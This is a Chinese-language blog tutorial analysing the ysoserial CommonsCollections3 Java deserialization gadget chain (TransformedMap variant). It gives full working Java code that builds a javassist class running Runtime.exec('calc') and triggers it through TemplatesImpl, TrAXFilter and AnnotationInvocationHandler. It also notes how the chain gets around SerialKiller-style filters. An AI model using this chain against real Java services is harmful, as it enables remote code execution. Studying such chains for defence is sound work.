天天看點

ysoserial CommonsColletions3分析(1)

CC3的利用鍊在JDK8u71版本以後是無法使用的,具體還是由于

AnnotationInvocationHandler

readobject

進行了改寫。

而CC3目前有兩條主流的利用鍊,利用TransformedMap或者LazyMap。我們這篇文章先講TransformedMap鍊

TemplatesImpl

在CC2中利用javassist建立了一個攻擊類,使用TemplatesImpl類中的newTransformer方法觸發

這裡寫一個簡單的demo來示範下:

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//轉換為byte數組

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}
           

newTransformer方法執行就會彈出電腦

ysoserial CommonsColletions3分析(1)

InstantiateTransformer

這個類的transform方法是利用反射擷取類的構造方法對象,再通過該構造方法執行個體化對象

ysoserial CommonsColletions3分析(1)

newInstance就是調用構造方法建立一個對象

// 使用構造器對象的newInstance方法初始化對象
Object obj = constroctor.newInstance("yy", 18); 
           

TrAXFilter

TrAXFilter的構造方法中調用了templates.newTransformer

如果templates變量的值為TemplatesImpl的話,則就能調用到TemplatesImpl的newTransformer方法

ysoserial CommonsColletions3分析(1)

這三條鍊形成一個調用鍊:

利用InstantiateTransformer#transform調用TrAXFilter的構造方法,再利用構造方法裡的templates.newTransformer調用到TemplatesImpl的newTransformer方法。

結合一下ChainedTransformer調用鍊可以輕松完成構造

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
ChainedTransformer chain = new ChainedTransformer(transformers);
           

這時候我們隻需要調用ChainedTransformer的transform即可觸發整條鍊。這裡使用的是TransformedMap來觸發ChainedTransformer#transform

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//轉換為byte數組

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);
        decorate.put("xxx","xxx");
    }
}
           

到這裡是不是開始像CC1中的TransformedMap調用鍊了。沒錯,再用AnnotationInvocationHandler的readObject做為反序列化入口就可以構造出整條鍊了。

順便複習一個知識點:TransformedMap裡的每個entry在調用setValue方法時,會自動調用TransformedMap類的checkSetValue方法。

完整的構造鍊

public class payload02 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//轉換為byte數組

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);

        // 通過反射機制執行個體化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}
           

其實此條鍊就是為了對付某些政策對InvokerTransformer類的限制(比如SerialKiller過濾器),而導緻不能利用,産生的一條新鍊。

SerialKiller過濾器:https://github.com/ikkisoft/SerialKiller

當然在ysoserial中,并不是利用的TransformedMap構造,而是用的CC1中的另一條LazyMap鍊。下篇就講怎麼使用LazyMap構造CC3